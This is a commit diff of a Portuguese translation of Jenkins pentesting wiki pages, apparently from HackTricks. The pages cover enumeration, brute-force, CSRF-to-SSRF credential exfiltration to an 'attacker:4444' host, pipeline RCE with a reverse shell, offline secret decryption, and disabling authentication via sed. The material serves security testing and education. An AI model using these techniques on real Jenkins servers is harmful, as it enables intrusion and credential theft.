mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Jenkins é uma ferramenta que oferece um método simples para estabelecer um **ambiente de integração contínua** ou **entrega contínua** (CI/CD) para quase **qualquer** combinação de **linguagens de programação** e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas de desenvolvimento rotineiras. Embora o Jenkins não elimine a **necessidade de criar scripts para etapas individuais**, ele fornece uma maneira mais rápida e robusta de integrar toda a sequência de ferramentas de construção, teste e implantação do que se pode facilmente construir manualmente.
|
||||
Jenkins é uma ferramenta que oferece um método direto para estabelecer um ambiente de **integração contínua** ou **entrega contínua** (CI/CD) para quase **qualquer** combinação de **linguagens de programação** e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas rotineiras de desenvolvimento. Embora o Jenkins não elimine a **necessidade de criar scripts para passos individuais**, ele fornece uma forma mais rápida e robusta de integrar toda a sequência de ferramentas de build, teste e implantação do que se conseguiria construir manualmente com facilidade.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -12,7 +12,7 @@ basic-jenkins-information.md
|
||||
|
||||
## Enumeração Não Autenticada
|
||||
|
||||
Para procurar páginas interessantes do Jenkins sem autenticação, como (_/people_ ou _/asynchPeople_, que lista os usuários atuais), você pode usar:
|
||||
Para buscar páginas interessantes do Jenkins sem autenticação, como (_/people_ ou _/asynchPeople_, que lista os usuários atuais), você pode usar:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
@@ -20,13 +20,13 @@ Verifique se você pode executar comandos sem precisar de autenticação:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ para **nomes de usuário**.
|
||||
Sem credenciais você pode inspecionar o caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ em busca de **nomes de usuário**.
|
||||
|
||||
Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_.
|
||||
Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
### Vulnerabilidades Conhecidas
|
||||
### Vulnerabilidades conhecidas
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## Login
|
||||
|
||||
Nas informações básicas, você pode verificar **todas as maneiras de fazer login no Jenkins**:
|
||||
Nas informações básicas você pode verificar **todas as formas de login no Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -42,38 +42,38 @@ basic-jenkins-information.md
|
||||
|
||||
### Registro
|
||||
|
||||
Você poderá encontrar instâncias do Jenkins que **permitem que você crie uma conta e faça login nela. Simples assim.**
|
||||
Você pode encontrar instâncias do Jenkins que **permitem criar uma conta e efetuar login nelas. Tão simples quanto isso.**
|
||||
|
||||
### **Login SSO**
|
||||
### SSO Login
|
||||
|
||||
Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma conta de **Github/Bitbucket** de teste). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Além disso, se a **SSO** **functionality**/**plugins** estiverem presentes então você deve tentar **log-in** na aplicação usando uma conta de teste (i.e., uma conta de teste **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** não possui **política de senha** e **mitigação de força bruta de nome de usuário**. É essencial **fazer força bruta** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**.
|
||||
**Jenkins** não possui **política de senha** nem **mitigação de username brute-force**. É essencial **brute-force** usuários, já que **senhas fracas** ou **nomes de usuário como senha** podem estar em uso, inclusive **nomes de usuário invertidos como senha**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline.
|
||||
Muitas organizações combinam **SaaS-based source control management (SCM) systems** como GitHub ou GitLab com uma solução **internal, self-hosted CI** como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI **receive webhook events from SaaS source control vendors**, principalmente para disparar pipeline jobs.
|
||||
|
||||
Para alcançar isso, as organizações **colocam na lista branca** os **intervalos de IP** das **plataformas SCM**, permitindo que elas acessem o **sistema CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema CI interno**.
|
||||
Para isso, as organizações **whitelist** as **IP ranges** das plataformas **SCM**, permitindo que acessem o **internal CI system** via **webhooks**. No entanto, é importante notar que **anyone** pode criar uma **account** no GitHub ou GitLab e configurá-la para **trigger a webhook**, potencialmente enviando requisições para o **internal CI system**.
|
||||
|
||||
Verifique: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
Nesses cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.
|
||||
Nestes cenários vamos supor que você tem uma conta válida para acessar o Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Dependendo do mecanismo de **Autorização** configurado no Jenkins e da permissão do usuário comprometido, você **pode ou não ser capaz de realizar os seguintes ataques.**
|
||||
> Dependendo do mecanismo de **Autorização** configurado no Jenkins e das permissões do usuário comprometido, você **pode ou não conseguir** realizar os ataques a seguir.
|
||||
|
||||
Para mais informações, verifique as informações básicas:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -81,85 +81,94 @@ basic-jenkins-information.md
|
||||
|
||||
### Listing users
|
||||
|
||||
Se você acessou o Jenkins, pode listar outros usuários registrados em [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
Se você acessou o Jenkins, pode listar outros usuários registrados em http://127.0.0.1:8080/asynchPeople/
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de builds para, esperançosamente, encontrar segredos em texto claro.
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Roubo de Credenciais SSH**
|
||||
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
|
||||
|
||||
Se o usuário comprometido tiver **privilegios suficientes para criar/modificar um novo nó Jenkins** e as credenciais SSH já estiverem armazenadas para acessar outros nós, ele poderia **roubar essas credenciais** criando/modificando um nó e **definindo um host que registrará as credenciais** sem verificar a chave do host:
|
||||
Alguns plugins expõem manipuladores Jelly `validateButton` ou `test connection` em caminhos como `/descriptorByName/<Class>/testConnection`. Quando os handlers **não aplicam POST ou verificações de permissão**, você pode:
|
||||
|
||||
- Trocar POST por GET e remover o Crumb para contornar verificações CSRF.
|
||||
- Disparar o handler como low-priv/anonymous se não existir uma verificação `Jenkins.ADMINISTER`.
|
||||
- Fazer CSRF em um admin e substituir o parâmetro host/URL para exfiltrate credentials ou acionar chamadas de saída.
|
||||
- Usar os erros de resposta (por exemplo, `ConnectException`) como um oráculo SSRF/port-scan.
|
||||
|
||||
Exemplo GET (sem Crumb) transformando uma chamada de validação em SSRF/credential exfiltration:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
Se o plugin reutilizar stored creds, o Jenkins tentará autenticar-se em `attacker:4444` e pode leak identificadores ou erros na resposta. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
Se o usuário comprometido tiver **privilégios suficientes para create/modify a new Jenkins node** e SSH credentials já estiverem armazenadas para acessar outros nós, ele poderia **steal those credentials** ao criar/modificar um node e **configurar um host que irá registrar as credenciais** sem verificar a chave do host:
|
||||
|
||||
.png>)
|
||||
|
||||
Você geralmente encontrará credenciais ssh do Jenkins em um **provedor global** (`/credentials/`), então você também pode despejá-las como faria com qualquer outro segredo. Mais informações na seção [**Despejando segredos**](./#dumping-secrets).
|
||||
Você normalmente encontrará as SSH credentials do Jenkins em um **global provider** (`/credentials/`), então você também pode dumpá-las como faria com qualquer outro segredo. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **RCE no Jenkins**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Obter um **shell no servidor Jenkins** dá ao atacante a oportunidade de vazar todos os **segredos** e **variáveis de ambiente** e de **explorar outras máquinas** localizadas na mesma rede ou até mesmo **coletar credenciais de nuvem**.
|
||||
Obter um **shell in the Jenkins server** dá ao atacante a oportunidade de leak todos os **secrets** e **env variables** e de explorar outras máquinas localizadas na mesma rede ou até mesmo gather cloud credentials.
|
||||
|
||||
Por padrão, o Jenkins **executa como SYSTEM**. Portanto, comprometê-lo dará ao atacante **privilegios de SYSTEM**.
|
||||
Por padrão, o Jenkins irá **run as SYSTEM**. Portanto, comprometer ele dará ao atacante **SYSTEM privileges**.
|
||||
|
||||
### **RCE Criando/Modificando um projeto**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
Criar/Modificar um projeto é uma maneira de obter RCE sobre o servidor Jenkins:
|
||||
Creating/Modifying a project é uma forma de obter RCE over the Jenkins server:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Executando script Groovy**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Você também pode obter RCE executando um script Groovy, que pode ser mais discreto do que criar um novo projeto:
|
||||
Você também pode obter RCE executando um script Groovy, o que pode ser mais furtivo do que criar um novo projeto:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Criando/Modificando Pipeline
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
Você também pode obter **RCE criando/modificando um pipeline**:
|
||||
Você também pode obter **RCE by creating/modifying a pipeline**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Exploração de Pipeline
|
||||
## Pipeline Exploitation
|
||||
|
||||
Para explorar pipelines, você ainda precisa ter acesso ao Jenkins.
|
||||
Para explorar pipelines você ainda precisa ter acesso ao Jenkins.
|
||||
|
||||
### Pipelines de Build
|
||||
### Build Pipelines
|
||||
|
||||
**Pipelines** também podem ser usados como **mecanismo de build em projetos**, nesse caso pode ser configurado um **arquivo dentro do repositório** que conterá a sintaxe do pipeline. Por padrão, usa-se `/Jenkinsfile`:
|
||||
**Pipelines** também podem ser usados como mecanismo de build em projetos; nesse caso pode ser configurado um **file inside the repository** que conterá a sintaxe do pipeline. Por padrão `/Jenkinsfile` é usado:
|
||||
|
||||
.png>)
|
||||
|
||||
Também é possível **armazenar arquivos de configuração de pipeline em outros lugares** (em outros repositórios, por exemplo) com o objetivo de **separar** o **acesso** ao repositório e o acesso ao pipeline.
|
||||
Também é possível **store pipeline configuration files in other places** (por exemplo, em outros repositórios) com o objetivo de **separar** o acesso ao repositório do acesso ao pipeline.
|
||||
|
||||
Se um atacante tiver **acesso de escrita sobre esse arquivo**, ele poderá **modificá-lo** e **potencialmente acionar** o pipeline sem nem mesmo ter acesso ao Jenkins.\
|
||||
É possível que o atacante precise **contornar algumas proteções de branch** (dependendo da plataforma e dos privilégios do usuário, elas podem ser contornadas ou não).
|
||||
|
||||
Os gatilhos mais comuns para executar um pipeline personalizado são:
|
||||
|
||||
- **Pull request** para a branch principal (ou potencialmente para outras branches)
|
||||
- **Push para a branch principal** (ou potencialmente para outras branches)
|
||||
- **Atualizar a branch principal** e esperar até que seja executado de alguma forma
|
||||
Se um atacante tiver **write access over that file** ele poderá **modify** o arquivo e **potentially trigger** o pipeline sem sequer ter acesso ao Jenkins. É possível que o atacante precise **bypass some branch protections** (dependendo da plataforma e dos privilégios do usuário elas podem ou não ser contornadas).
|
||||
|
||||
> [!NOTE]
|
||||
> Se você é um **usuário externo**, não deve esperar criar um **PR para a branch principal** do repositório de **outro usuário/organização** e **acionar o pipeline**... mas se estiver **mal configurado**, você poderia comprometer totalmente empresas apenas explorando isso.
|
||||
> Se você for um **external user** não deve esperar criar um **PR to the main branch** do repositório de **outro user/organization** e **trigger the pipeline**... mas se estiver **bad configured** você poderia comprometer completamente empresas apenas explorando isso.
|
||||
|
||||
### RCE de Pipeline
|
||||
### Pipeline RCE
|
||||
|
||||
Na seção anterior de RCE, já foi indicada uma técnica para [**obter RCE modificando um pipeline**](./#rce-creating-modifying-pipeline).
|
||||
Na seção anterior de RCE já foi indicada uma técnica para [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Verificando Variáveis de Ambiente
|
||||
### Checking Env variables
|
||||
|
||||
É possível declarar **variáveis de ambiente em texto claro** para todo o pipeline ou para estágios específicos. Essas variáveis de ambiente **não devem conter informações sensíveis**, mas um atacante sempre poderia **verificar todas as configurações do pipeline/Jenkinsfiles:**
|
||||
É possível declarar **clear text env variables** para todo o pipeline ou para estágios específicos. Essas env variables **shouldn't contain sensitive info**, mas um atacante sempre poderia verificar toda a configuração do pipeline/Jenkinsfiles:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -174,21 +183,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### Dumping secrets
|
||||
### Extraindo segredos
|
||||
|
||||
Para informações sobre como os segredos são geralmente tratados pelo Jenkins, confira as informações básicas:
|
||||
Para obter informações sobre como os segredos são normalmente tratados pelo Jenkins, consulte as informações básicas:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) ou para **projetos específicos** (`/job/<project-name>/configure`). Portanto, para exfiltrar todos eles, você precisa **comprometer pelo menos todos os projetos** que contêm segredos e executar pipelines personalizados/contaminados.
|
||||
As credenciais podem ser **vinculadas a provedores globais** (`/credentials/`) ou a **projetos específicos** (`/job/<project-name>/configure`). Portanto, para exfiltrar todas elas você precisa **comprometer pelo menos todos os projetos** que contêm segredos e executar custom/poisoned pipelines.
|
||||
|
||||
Há outro problema, para obter um **segredo dentro do env** de um pipeline, você precisa **saber o nome e o tipo do segredo**. Por exemplo, se você tentar **carregar** um **segredo** **`usernamePassword`** como um **segredo** **`string`**, você receberá este **erro**:
|
||||
Há outro problema: para obter um **segredo dentro do env** de um pipeline você precisa **saber o nome e o tipo do segredo**. Por exemplo, se você tentar **carregar** um **`usernamePassword`** **segredo** como um **`string`** **segredo** você receberá este **erro**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Aqui está a maneira de carregar alguns tipos comuns de segredos:
|
||||
Aqui está a forma de carregar alguns tipos comuns de secret:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -219,43 +228,43 @@ env
|
||||
No final desta página você pode **encontrar todos os tipos de credenciais**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> A melhor maneira de **extrair todos os segredos de uma vez** é **comprometendo** a máquina **Jenkins** (executando um shell reverso no **nó embutido**, por exemplo) e então **vazando** as **chaves mestres** e os **segredos criptografados** e descriptografando-os offline.\
|
||||
> Mais sobre como fazer isso na seção [Nodes & Agents](./#nodes-and-agents) e na seção [Post Exploitation](./#post-exploitation).
|
||||
> A melhor forma de **dump all the secrets at once** é **compromising** a máquina **Jenkins** (executando um **reverse shell** no **built-in node** por exemplo) e então **leaking** as **master keys** e os **encrypted secrets** e **decrypting** them offline.\
|
||||
> Mais sobre como fazer isso na [Nodes & Agents section](#nodes-and-agents) e na [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
|
||||
Das [documentações](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): A diretiva `triggers` define as **maneiras automatizadas pelas quais o Pipeline deve ser reativado**. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, `triggers` pode não ser necessário, pois a integração baseada em webhooks provavelmente já estará presente. Os gatilhos atualmente disponíveis são `cron`, `pollSCM` e `upstream`.
|
||||
De acordo com [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): A diretiva `triggers` define as **maneiras automatizadas pelas quais o Pipeline deve ser disparado novamente**. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, `triggers` pode não ser necessário, pois a integração via webhooks provavelmente já estará presente. Os triggers atualmente disponíveis são `cron`, `pollSCM` e `upstream`.
|
||||
|
||||
Exemplo de Cron:
|
||||
Cron example:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Verifique **outros exemplos na documentação**.
|
||||
Consulte **outros exemplos na documentação**.
|
||||
|
||||
### Nós e Agentes
|
||||
### Nós & Agentes
|
||||
|
||||
Uma **instância do Jenkins** pode ter **diferentes agentes rodando em diferentes máquinas**. Do ponto de vista de um atacante, o acesso a diferentes máquinas significa **diferentes credenciais de nuvem potenciais** para roubar ou **diferente acesso à rede** que poderia ser abusado para explorar outras máquinas.
|
||||
Uma **Jenkins instance** pode ter **agentes diferentes executando em máquinas diferentes**. Do ponto de vista de um atacante, o acesso a máquinas diferentes significa **potenciais credenciais de cloud diferentes** para roubar ou **diferente acesso à rede** que pode ser abusado para explorar outras máquinas.
|
||||
|
||||
Para mais informações, verifique as informações básicas:
|
||||
Para mais informações confira as informações básicas:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o \*\*`Built-In Node` \*\* (que é o nó que executa o Jenkins) e potencialmente mais:
|
||||
Você pode enumerar os **nós configurados** em `/computer/`, normalmente você encontrará o **`Built-In Node`** (que é o nó que executa o Jenkins) e potencialmente outros:
|
||||
|
||||
.png>)
|
||||
|
||||
É **especialmente interessante comprometer o nó Built-In** porque ele contém informações sensíveis do Jenkins.
|
||||
É especialmente interessante comprometer o Built-In node porque ele contém informações sensíveis do Jenkins.
|
||||
|
||||
Para indicar que você deseja **executar** o **pipeline** no **nó Jenkins embutido**, você pode especificar dentro do pipeline a seguinte configuração:
|
||||
Para indicar que você quer **executar** o **pipeline** no **built-in Jenkins node** você pode especificar dentro do pipeline a seguinte configuração:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Exemplo completo
|
||||
|
||||
Pipeline em um agente específico, com um gatilho cron, com variáveis de ambiente de pipeline e estágio, carregando 2 variáveis em um passo e enviando um shell reverso:
|
||||
Pipeline em um agente específico, com um cron trigger, com env variables de pipeline e stage, carregando 2 variáveis em um step e enviando um reverse shell:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -286,7 +295,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## Leitura Arbitrária de Arquivo para RCE
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,7 +315,7 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pós Exploração
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
```
|
||||
@@ -314,26 +323,26 @@ msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Secrets
|
||||
|
||||
Você pode listar os segredos acessando `/credentials/` se tiver permissões suficientes. Note que isso listará apenas os segredos dentro do arquivo `credentials.xml`, mas **arquivos de configuração de build** também podem ter **mais credenciais**.
|
||||
Você pode listar os secrets acessando `/credentials/` se tiver permissões suficientes. Note que isso listará apenas os secrets dentro do arquivo `credentials.xml`, mas **build configuration files** podem também conter **mais credentials**.
|
||||
|
||||
Se você pode **ver a configuração de cada projeto**, você também pode ver lá os **nomes das credenciais (segredos)** sendo usados para acessar o repositório e **outras credenciais do projeto**.
|
||||
Se você puder **ver a configuração de cada projeto**, também poderá ver ali os **nomes das credentials (secrets)** usados para acessar o repositório e **outros credentials do projeto**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### A partir de Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### Do disco
|
||||
|
||||
Esses arquivos são necessários para **decriptar segredos do Jenkins**:
|
||||
Estes arquivos são necessários para **descriptografar os Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Tais **segredos geralmente podem ser encontrados em**:
|
||||
Tais **secrets geralmente podem ser encontrados em**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
@@ -349,9 +358,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Decryptar segredos do Jenkins offline
|
||||
#### Descriptografar segredos do Jenkins offline
|
||||
|
||||
Se você tiver despejado as **senhas necessárias para descriptografar os segredos**, use [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descriptografar esses segredos**.
|
||||
Se você tiver extraído as **senhas necessárias para descriptografar os segredos**, use [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descriptografar esses segredos**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,18 +368,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Descriptografar segredos do Jenkins a partir do Groovy
|
||||
#### Descriptografar segredos do Jenkins a partir de Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Criar novo usuário administrador
|
||||
|
||||
1. Acesse o arquivo config.xml do Jenkins em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
|
||||
2. Procure a palavra `<useSecurity>true</useSecurity>` e mude a palavra **`true`** para **`false`**.
|
||||
2. Procure por `<useSecurity>true</useSecurity>` e troque a palavra **`true`** por **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Reinicie** o servidor **Jenkins**: `service jenkins restart`
|
||||
4. Agora vá para o portal do Jenkins novamente e **Jenkins não pedirá credenciais** desta vez. Navegue até "**Gerenciar Jenkins**" para definir a **senha do administrador novamente**.
|
||||
5. **Ative** a **segurança** novamente alterando as configurações para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
|
||||
4. Agora vá ao portal do Jenkins novamente e **o Jenkins não solicitará credenciais** desta vez. Navegue para "**Manage Jenkins**" para definir a **senha do administrador novamente**.
|
||||
5. **Habilite** a **segurança** novamente alterando para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@@ -4,83 +4,94 @@
|
||||
|
||||
## Acesso
|
||||
|
||||
### Nome de Usuário + Senha
|
||||
### Nome de usuário + Senha
|
||||
|
||||
A maneira mais comum de fazer login no Jenkins é com um nome de usuário ou uma senha.
|
||||
A forma mais comum de login no Jenkins é com nome de usuário ou senha
|
||||
|
||||
### Cookie
|
||||
|
||||
Se um **cookie autorizado for roubado**, ele pode ser usado para acessar a sessão do usuário. O cookie geralmente é chamado de `JSESSIONID.*`. (Um usuário pode encerrar todas as suas sessões, mas precisaria descobrir primeiro que um cookie foi roubado).
|
||||
Se um **cookie autorizado for roubado**, ele pode ser usado para acessar a sessão do usuário. O cookie geralmente se chama `JSESSIONID.*`. (Um usuário pode terminar todas as suas sessões, mas ele precisaria descobrir primeiro que um cookie foi roubado).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
O Jenkins pode ser configurado usando plugins para ser **acessível via SSO de terceiros**.
|
||||
O Jenkins pode ser configurado usando plugins para ser **acessível via third party SSO**.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Os usuários podem gerar tokens** para dar acesso a aplicativos para se passar por eles via CLI ou REST API.
|
||||
**Usuários podem gerar tokens** para dar acesso a aplicações para se fazerem passar por eles via CLI ou REST API.
|
||||
|
||||
### Chaves SSH
|
||||
### SSH Keys
|
||||
|
||||
Este componente fornece um servidor SSH embutido para o Jenkins. É uma interface alternativa para o [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e os comandos podem ser invocados dessa forma usando qualquer cliente SSH. (Das [docs](https://plugins.jenkins.io/sshd/))
|
||||
Este componente fornece um servidor SSH embutido para o Jenkins. É uma interface alternativa para o [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e comandos podem ser invocados dessa forma usando qualquer cliente SSH. (Conforme os [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Autorização
|
||||
|
||||
Em `/configureSecurity` é possível **configurar o método de autorização do Jenkins**. Existem várias opções:
|
||||
|
||||
- **Qualquer um pode fazer qualquer coisa**: Até o acesso anônimo pode administrar o servidor.
|
||||
- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver a **função "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**.
|
||||
- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá **acesso somente leitura**.
|
||||
- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/função.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**.
|
||||
- **Anyone can do anything**: Até o acesso **anonymous** pode administrar o servidor
|
||||
- **Legacy mode**: Igual ao Jenkins <1.164. Se você tem a **role "admin"**, será concedido **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anonymous**) terá acesso de **leitura**.
|
||||
- **Logged-in users can do anything**: Neste modo, todo **usuário logado obtém controle total** do Jenkins. O único usuário que não terá controle total é o **anonymous**, que recebe apenas **acesso de leitura**.
|
||||
